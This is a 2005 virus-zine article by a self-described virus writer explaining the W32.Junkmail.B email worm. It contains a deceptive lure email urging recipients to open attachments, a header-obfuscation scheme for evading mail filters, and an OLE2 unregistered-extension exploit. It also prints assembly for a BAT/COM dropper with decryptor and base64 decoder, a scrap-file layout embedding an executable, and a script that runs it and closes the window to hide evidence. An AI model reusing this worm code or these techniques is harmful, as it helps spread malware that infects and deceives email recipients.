More Ins and Outs of JunkMail
by roy g biv
                        More Ins and Outs of JunkMail
                               roy g biv / 29A

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped  out).   Author of world's first virus using Thread Local Storage  for
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication  (OU812), world's first Native executable virus (Chthon),  world's
first  virus  using process co-operation to prevent termination  (Gemini,  see
Virus  Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP  headers (JunkMail, see Virus Bulletin 11/02 for a description),  world's
first viruses that can convert any data files to infectable objects (Pretext),
world's  first  32/64-bit  parasitic  EPO .NET  virus  (Croissant,  see  Virus
Bulletin  11/04  for a description, but they call it Impanate), world's  first
virus  using  self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03  for  a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for  Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel
IA32  and  AMD  AMD64  (Shrug),  world's  first  viruses  that  infect  Office
applications  and  script  files using the same code (Macaroni),  and  world's
first viruses that can infect both VBS and JScript using the same code (ACDC).
Author  of  various retrovirus articles (eg see Vlad #7 for the  strings  that
make  your  code invisible to TBScan).  Went to sleep for a number  of  years.
I am awake now. ;)

Do you remember W32.Junkmail?  It was publised in 29A#7/Articles/29A-7.009.
It brought to you some new techniques for e-mail speading.
Now there is W32.Junkmail.B, which takes those techniques even further.

Here is an example JunkMail e-mail before obfuscation:

MIME-Version: 1.0
Content-Type: multipart/mixed;


I received this file from you yesterday evening.
I think it was sent without you knowing by the Aliz virus.
The filename was changed but it looked like an important video inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see

Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

Content-Type: application/x-mplayer;
Content-Transfer-Encoding: base64
Content-ID: <EMAIL>

[base64 encoded file]

Here is an example JunkMail.B e-mail after obfuscation:

mIMe-VERSion:({) 1(b)   .(9)  0
CoNTent-tYPe:({)  M(K)u(A67)Lt(ots)I(I)PAr(o)t(i}E)   / m(q)I(t)x(d)Ed ;
 (J=u)bOu(Uj)n(i)dA(XT)RY (D)=(kC:) WNOQFOMM


I received this file from you yesterday evening.
I think it was sent without you knowing by the Badtrans virus.
The filename was altered but it looked like an important database inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see

coNTENt-TYPe: (Ve)t(%)ex(-s1)T(4) / (T)H(66r)TMl

=3C=49=46=52=41=4D=45 =53R=43=3D=43=49D=3AE=4D=41I=4C=20=57IDT=48=3D=30>
ConTENT-Type: A(4)PPl(w)I(H)C(N)Ati({)On (d)/(4};)  x-(1)M(YI)PLA(I)Yer;
  (]$)na(!r)m(6t{)e =(N`) e(J-)m(;n>)aI($0)l(hWq).(X1)!(6<)!!
cOnTenT-TRAnSFer-eNcOdiNG:(m)   b({H)A(N)S(#)e64
coNTenT-id: ({)< E(a'B)M(X)AIL(?)   > 

[base64 encoded file]

Yes,  the engine has been improved to include spaces, and comments after  ':'.
There is also a new exploit that is related to OLE2-format files which have an
unregistered  extension.  Using the right CLSID, it is possible to run scripts
(and  probably other things, too).  The well-known CLSID is for MSHTA.EXE,  to
run  HTA files.  It is:


However,  there is another CLSID that can also be used.  It is for MSHTML.DLL,
to display HTML pages.  It is:


That  one  is used by Internet Explorer, but a bug means that IE will run  the
page  continuously  until the page is closed.  To avoid this bug,  you  should
close the page yourself.

We  still use random choice of file content (not only the extension).  We  can
choose  between a .BAT file, a Windows executable file, and a OLE2 scrap file.
The  .BAT  file is updated to also be a .COM file, and the OLE2 scrap file  is
updated to carry a script, if the unregistered extension method is used.

The  .BAT  file  code was completely rewritten.  It was made smaller,  and  no
longer  needs to drop a .COM file, since it is both formats already.  It  just
renames itself to .COM and runs itself again.  Now it looks like this:

        s                                       branch instruction for COM mode
        goto r:gb!                              skip long line that follows in BAT mode

This  decryptor came from my shellcode research using the imul instruction  to
decode  bytes  using ASCII-encoded nybbles.  Since I was not restricted to  an
alphanumeric set, it was very easy.  This code decodes our base64 decoder.

        push    38h
        pop     cx                              initialise key to decode imul
        sub     al, 21h                         an arbitrary value to give ASCII relative offsets
        push    ax
        pop     si
        push    ax
        pop     di
        sub     [si + 3f], cl                   decode imul (48h -> 10h)
        imul    ax, [si + 51], 48h              get top nybble
        xor     al, [si + 50]                   combine with bottom nybble
        xor     al, 40                          decode byte
        and     [di + 50], ch                   zero destination
        xor     [di + 50], al                   store byte
        inc     si
        inc     si
        inc     di
        dec     cx
        jne     017b                            replaced by 011b

The  base64  decoder  and the file follow immediately.  Since  they  are  both
base64-encoded  now,  the decoder can be partially encoded itself, and  decode
itself  and the file at the same time.  Since the CRLF are no longer  emitted,
so  the  code  size  is reduced.  The block is delimited by a  space,  so  the
filename restriction is also removed.

        add     si, 50h                         point to base64 block
        add     di, 50h                         point to decode destination

b64decode   proc    near
        lods    dword ptr [esi]
        push    4
        pop     cx

b64_inner       label   near
        rol     eax, 8
        cmp     al, '0'
        jnb     b64_testchar
        add     al, (('/' shl 2) + 1) and 0ffh
        shr     al, 2                           '+' and '/' differ by only 1 bit

b64_testchar    label   near
        add     al, 4
        cmp     al, 3fh
        jbe     b64_store
        sub     al, 45h
        cmp     al, 19h
        jbe     b64_store
        sub     al, 6

b64_store       label   near
        shrd    ebx, eax, 6
        loop    b64_inner
        xchg    ebx, eax
        bswap   eax
        stos    dword ptr [di]
        dec     di
        cmp     byte ptr [si], 4fh              replaced during decode by ' '
       [jne     b64decode                       branch instruction is decoded]
b64decode   endp

now to drop and run decoded .EXE file

        mov     ah, 3ch
        mov     dx, 188h                        using MZ header as filename
        int     21h
        xchg    bx, ax
        mov     ah, 40h
        dec     cx
        int     21h
        mov     ah, 3eh
        int     21h
        mov     ah, 4Ah
        mov     bl, 42h                         must point to block of zeroes
        int     21h
        mov     ax, 4b00h
        int     21h

[file base64 data here]

The  scrap  file is the same 512 bytes-per-page OLE2 file with embedded  .EXE.
New  is  the presence of the CLSID, if the unregistered extension  exploit  is

Here is the file:

        db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h
                                                000 signature
        db      10h dup (0)                     008 unused
        dw      0, 0                            018 DLL version
        dw      0                               01c byte order (for Unicode)
        dw      9                               01e shift count for main FAT
        dw      0                               020 shift count for mini FAT
        dw      0                               022 reserved
        dd      0, 0                            024 reserved
        dd      1                               02c pages in main FAT
        dd      1                               030 page of root storage
        dd      0                               034 unused
        dd      0                               038 size of main pages
        dd      0                               03c page of mini FAT
        dd      0                               040 pages in mini FAT
        dd      0                               044 next page in main FAT (end of chain)
        dd      0                               048 unused
        dd      6dh dup (0)                     04c filler
        dd      0                               200 main FAT page
        dd      0fffffffeh                      204 root storage chain
        dd      ? dup (?)                       208 embedded object stream chain (variable size)
        dw      1, "Ole10Native", 14h dup (0)   400 stream name
        dw      1ah                             440 name length
        db      2                               442 attribute (2=stream, unchecked for Root Storage)
        db      0                               443 unused
        dd      0ffffffffh, 0ffffffffh          444 left and right node indexes
        dd      1                               44c storage index (overload as Root Storage)
        db      10h dup (0)                     450 CLSID
        CLSID   25336920-03f9-11cf-8fd0-00aa00686f13 (HTML Document)
        CLSID   3050f4d8-98b5-11cf-bb82-00aa00bdce0b (HTML Application)
        dd      0                               460 flags
        dq      0, 0                            464 create and modify times
        dd      2                               474 data page
        dd      ?                               478 stream size
        dd      0                               47c unused
        dw      3, "ITEM000", 18h dup (0)       480 scrap storage name
        dw      12h                             4c0 name length
        db      1                               4c2 attribute (1=storage)
        db      0                               4c3 unused
        dd      0ffffffffh, 0ffffffffh          4c4 left and right node indexes
        dd      0                               4cc storage index
        CLSID   0003000c-0000-0000-c000-000000000046
                                                4d0 scrap CLSID
        dd      0                               4e0 flags
        dq      0, 0                            4e4 create and modify times
        dd      0                               4f4 data page (unused by storages)
        dd      0                               4f8 stream size
        dd      0                               4fc unused
        dd      40h dup (0)                     500 unused directory entries
        dd      ?                               600 scrap size
        dw      0                               604 number of strings following
        dw      3                               606 type (3=static)
        dd      6                               608 filename length
        db      "\.exe", 0                      60c filename (only directory and suffix required)
        dd      ?                               612 embedded object size
Embedded .EXE file follows immediately.

If the unregistered extension exploit is used, then this script is appended:

    new ActiveXObject('').exec('rundll32 shscrap,OpenScrap_RunDLL '+document.URL.substr(7));window.close()

It opens the file as a scrap file, after skipping the "file://" protocol, then
closes the window, in order to hide the evidence, and avoid the IE bug.

The  .SHS  file is also special.  I call it a self-destructing  file,  because
after it runs, Windows will notice that it is malformed and try to fix it, but
the  resulting file is destroyed, and cannot be run again.  It is another  way
to hide the evidence. :)

Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster -

rgb/29A jun 2005